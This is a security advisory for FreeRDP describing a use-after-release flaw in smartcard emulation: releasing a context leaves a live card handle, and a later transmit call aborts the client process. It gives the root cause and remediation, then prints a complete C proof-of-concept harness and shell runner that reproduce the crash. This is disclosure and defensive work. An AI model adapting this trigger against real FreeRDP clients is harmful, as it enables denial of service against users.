All vulnerabilities
GHSA-f526-rq4j-5ch8

Released smartcard-emulation context leaves a live card handle that crashes FreeRDP on transmit

FreeRDP
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

A malicious RDP server can terminate a FreeRDP client when smartcard emulation and smartcard redirection are enabled. The server first establishes a smartcard context, connects an emulated card, and releases that context. FreeRDP removes the context but leaves the card handle in a separate global handle table. The server can then establish another valid context and issue SCardTransmit with that live context for worker routing and the stale card handle as the object to operate on.

Emulate_SCardTransmit validates only that the card handle remains in the handle table. It then looks up the handle's deleted parent context, receives NULL, and reaches WINPR_ASSERT(ctx). WinPR's assertion implementation terminates the process, and the operation has no recoverable invalid-handle path.

The sequence is deterministic and single-threaded. It is distinct from a concurrent smartcard disconnect/transmit use-after-free. The demonstrated impact is client-process denial of service; code execution, memory disclosure, and integrity impact were not demonstrated.

Prerequisites

  • Alice connects to a malicious or compromised RDP server.
  • FreeRDP is built with smartcard emulation support.
  • Smartcard emulation is configured with a certificate and private key.
  • The RDP smartcard device channel is active.

Root cause

In libfreerdp/emu/scard/smartcard_emulate.c, Emulate_SCardReleaseContext removes the context table entry without removing card handles whose SCardHandle.hContext references that context:

value = HashTable_GetItemValue(smartcard->contexts, (const void*)hContext);
if (value)
    HashTable_Remove(smartcard->contexts, (const void*)hContext);
status = SCARD_S_SUCCESS;

The stale handle still passes scard_handle_valid. Emulate_SCardTransmit then assumes its parent context exists:

SCardHandle* hdl = HashTable_GetItemValue(smartcard->handles, (const void*)hCard);
WINPR_ASSERT(hdl);
/* ... */
SCardContext* ctx =
    HashTable_GetItemValue(smartcard->contexts, (const void*)hdl->hContext);
WINPR_ASSERT(ctx);
*pcbRecvLength =
    scard_copy_strings(ctx, pbRecvBuffer, *pcbRecvLength, response, responseSize);

The transmit protocol carries a context and card handle independently. FreeRDP uses the request context to select the smartcard worker but calls SCardTransmit using the separately supplied card handle. This permits a valid new context to route a stale card handle to the vulnerable backend operation.

Affected versions and validation

The source pattern first appears in the 3.0.0 release snapshot and remains in 3.31.1 and current master at fe8e4a68 (reviewed 2026-09-19). No fixed release was identified.

The attached harness was run against 3.31.1 and that master revision. On both:

  • The control retained the issuing context and returned SCARD_S_SUCCESS with 22 response bytes.
  • The stale case released the issuing context, established a different live context, and transmitted with the original card handle.
  • The stale case aborted at the missing-context assertion with exit status 134.

Observed summary:

control: card handle and issuing context are both live
transmit returned 0x00000000 with 22 response bytes
reproduced: stale-context transmit terminated with status 134

Reproduction

From the disclosure package directory, with a completed FreeRDP build available at relative paths:

cd poc
OUTPUT_DIR="$PWD/build" ./run.sh ../../FreeRDP ../../freerdp-build

The runner generates an ephemeral certificate, compiles the harness, runs the live control, and runs the stale-context trigger. The expected vulnerable result is status 134 for the stale case. It changes no source files and terminates only the harness process.

Remediation

When releasing a context, invalidate and free all card handles issued under it before freeing the context, using synchronization shared with handle-consuming operations. In addition, make Emulate_SCardTransmit and related handle operations return SCARD_E_INVALID_HANDLE when the handle's parent context is absent instead of treating that relationship as an assertion invariant. Regression tests should cover a live handle, a stale handle routed through another live context, multiple handles owned by one released context, and concurrent release/use behavior.

poc/scard_stale_context_poc.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <freerdp/emulate/scard/smartcard_emulate.h>
#include <freerdp/settings.h>
#include <winpr/smartcard.h>

static char* read_text_file(const char* path)
{
	FILE* fp = fopen(path, "rb");
	char* data = NULL;
	long size = 0;

	if (!fp)
		return NULL;
	if ((fseek(fp, 0, SEEK_END) != 0) || ((size = ftell(fp)) < 0) ||
	    (fseek(fp, 0, SEEK_SET) != 0))
		goto out;
	data = calloc((size_t)size + 1, 1);
	if (!data || (fread(data, 1, (size_t)size, fp) != (size_t)size))
	{
		free(data);
		data = NULL;
	}
out:
	fclose(fp);
	return data;
}

static int require_success(const char* operation, LONG status)
{
	if (status == SCARD_S_SUCCESS)
		return 1;
	fprintf(stderr, "%s failed: 0x%08lx\n", operation, (unsigned long)status);
	return 0;
}

int main(int argc, char** argv)
{
	const char* mode = NULL;
	char* certificate = NULL;
	char* private_key = NULL;
	rdpSettings* settings = NULL;
	SmartcardEmulationContext* emulator = NULL;
	SCARDCONTEXT issuing_context = 0;
	SCARDCONTEXT live_context = 0;
	SCARDHANDLE card = 0;
	DWORD protocol = 0;
	BYTE request[] = { 0x00, 0xA4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00 };
	BYTE response[512] = { 0 };
	DWORD response_length = sizeof(response);
	SCARD_IO_REQUEST io_request = { 0, 0 };
	LONG status = SCARD_F_INTERNAL_ERROR;
	int result = 2;

	if (argc != 4 || (strcmp(argv[1], "control") != 0 && strcmp(argv[1], "stale") != 0))
	{
		fprintf(stderr, "usage: %s control|stale certificate.pem private-key.pem\n", argv[0]);
		return 2;
	}
	mode = argv[1];
	certificate = read_text_file(argv[2]);
	private_key = read_text_file(argv[3]);
	settings = freerdp_settings_new(0);
	if (!certificate || !private_key || !settings)
	{
		fprintf(stderr, "failed to initialize test inputs\n");
		goto cleanup;
	}
	if (!freerdp_settings_set_string(settings, FreeRDP_SmartcardCertificate, certificate) ||
	    !freerdp_settings_set_string(settings, FreeRDP_SmartcardPrivateKey, private_key) ||
	    !freerdp_settings_set_string(settings, FreeRDP_Password, "1234"))
	{
		fprintf(stderr, "failed to configure smartcard emulation\n");
		goto cleanup;
	}

	emulator = Emulate_New(settings);
	if (!emulator || !Emulate_IsConfigured(emulator))
	{
		fprintf(stderr, "smartcard emulator is not configured\n");
		goto cleanup;
	}
	if (!require_success("SCardEstablishContext(issuing)",
	                     Emulate_SCardEstablishContext(emulator, SCARD_SCOPE_USER, NULL, NULL,
	                                                   &issuing_context)) ||
	    !require_success("SCardConnectA",
	                     Emulate_SCardConnectA(emulator, issuing_context, "reader",
	                                           SCARD_SHARE_SHARED, SCARD_PROTOCOL_T1, &card,
	                                           &protocol)))
		goto cleanup;

	if (strcmp(mode, "stale") == 0)
	{
		if (!require_success("SCardReleaseContext(issuing)",
		                     Emulate_SCardReleaseContext(emulator, issuing_context)) ||
		    !require_success("SCardEstablishContext(live)",
		                     Emulate_SCardEstablishContext(emulator, SCARD_SCOPE_USER, NULL, NULL,
		                                                   &live_context)))
			goto cleanup;
		issuing_context = 0;
		printf("stale: issuing context released; independent live context established\n");
	}
	else
	{
		printf("control: card handle and issuing context are both live\n");
	}
	fflush(stdout);

	status = Emulate_SCardTransmit(emulator, card, &io_request, request, sizeof(request), NULL,
	                               response, &response_length);
	printf("transmit returned 0x%08lx with %lu response bytes\n", (unsigned long)status,
	       (unsigned long)response_length);
	result = (status == SCARD_S_SUCCESS) ? 0 : 1;

cleanup:
	if (emulator)
	{
		if (card)
			(void)Emulate_SCardDisconnect(emulator, card, SCARD_LEAVE_CARD);
		if (live_context)
			(void)Emulate_SCardReleaseContext(emulator, live_context);
		if (issuing_context)
			(void)Emulate_SCardReleaseContext(emulator, issuing_context);
		Emulate_Free(emulator);
	}
	freerdp_settings_free(settings);
	free(private_key);
	free(certificate);
	return result;
}

poc/run.sh

#!/bin/sh
set -eu

if [ "$#" -ne 2 ]; then
	echo "usage: run.sh SOURCE_DIR BUILD_DIR" >&2
	exit 2
fi

SOURCE_DIR=$(CDPATH= cd -- "$1" && pwd)
BUILD_DIR=$(CDPATH= cd -- "$2" && pwd)
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
OUTPUT_DIR=${OUTPUT_DIR:-"$SCRIPT_DIR/build"}
CC=${CC:-cc}
FREERDP_LIB_DIR=${FREERDP_LIB_DIR:-"$BUILD_DIR/libfreerdp"}
WINPR_LIB_DIR=${WINPR_LIB_DIR:-"$BUILD_DIR/winpr/libwinpr"}
RUNTIME_LIBRARY_PATH=${RUNTIME_LIBRARY_PATH:-}

mkdir -p "$OUTPUT_DIR"

if [ ! -s "$OUTPUT_DIR/certificate.pem" ] || [ ! -s "$OUTPUT_DIR/private-key.pem" ]; then
	openssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj "/CN=FreeRDP PoC" \
		-keyout "$OUTPUT_DIR/private-key.pem" -out "$OUTPUT_DIR/certificate.pem" \
		>/dev/null 2>&1
fi

COMPILE_FLAGS=${COMPILE_FLAGS:-"-O1 -g"}
LINK_FLAGS=${LINK_FLAGS:-}

# The generated WinPR headers and the source headers are both required by the
# public emulation API. Extra include/link flags can be supplied for builds
# that keep OpenSSL or zlib in non-system prefixes.
# shellcheck disable=SC2086
$CC $COMPILE_FLAGS ${EXTRA_INCLUDE_FLAGS:-} \
	-I"$SOURCE_DIR/include" -I"$SOURCE_DIR/winpr/include" \
	-I"$BUILD_DIR/include" -I"$BUILD_DIR/winpr/include" \
	"$SCRIPT_DIR/scard_stale_context_poc.c" -o "$OUTPUT_DIR/scard_stale_context_poc" \
	-L"$FREERDP_LIB_DIR" -L"$WINPR_LIB_DIR" $LINK_FLAGS ${EXTRA_LINK_FLAGS:-} \
	-Wl,--allow-shlib-undefined -lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread -ldl -lm

LIBRARY_PATHS="$FREERDP_LIB_DIR:$WINPR_LIB_DIR"
if [ -n "$RUNTIME_LIBRARY_PATH" ]; then
	LIBRARY_PATHS="$LIBRARY_PATHS:$RUNTIME_LIBRARY_PATH"
fi
if [ -n "${LD_LIBRARY_PATH:-}" ]; then
	LIBRARY_PATHS="$LIBRARY_PATHS:$LD_LIBRARY_PATH"
fi
export LD_LIBRARY_PATH=$LIBRARY_PATHS

"$OUTPUT_DIR/scard_stale_context_poc" control \
	"$OUTPUT_DIR/certificate.pem" "$OUTPUT_DIR/private-key.pem" \
	>"$OUTPUT_DIR/control.stdout" 2>"$OUTPUT_DIR/control.stderr"
echo 0 >"$OUTPUT_DIR/control.exitcode"

set +e
"$OUTPUT_DIR/scard_stale_context_poc" stale \
	"$OUTPUT_DIR/certificate.pem" "$OUTPUT_DIR/private-key.pem" \
	>"$OUTPUT_DIR/stale.stdout" 2>"$OUTPUT_DIR/stale.stderr"
stale_status=$?
set -e
printf '%s\n' "$stale_status" >"$OUTPUT_DIR/stale.exitcode"

if [ "$stale_status" -eq 134 ]; then
	echo "reproduced: stale-context transmit terminated with status $stale_status"
else
	echo "not reproduced: expected status 134, got $stale_status" >&2
	exit 1
fi

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0, <= 3.31.1GitHub